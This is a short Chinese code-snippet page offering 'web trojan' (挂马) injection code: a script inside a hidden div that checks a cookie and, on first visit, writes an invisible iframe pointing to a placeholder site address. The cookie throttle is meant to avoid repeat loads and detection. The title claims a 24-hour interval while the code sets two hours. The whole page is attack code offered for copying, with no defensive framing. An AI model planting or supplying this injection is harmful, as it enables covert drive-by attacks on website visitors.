js cookies 常见网页木马挂马代码 24小时只加载一次
作者:
js cookies 挂马实现代码。
复制代码 代码如下:
<div style='display:none'>
<script type="text/javascript">
function goad(){
var Then = new Date()
Then.setTime(Then.getTime() + 2*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookier1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookier1=Filter;expires="+ Then.toGMTString()
document.write('<iframe src="网站地址" width="50" height="0" frameborder="0"></iframe>');
}
}goad();
</script>
</div>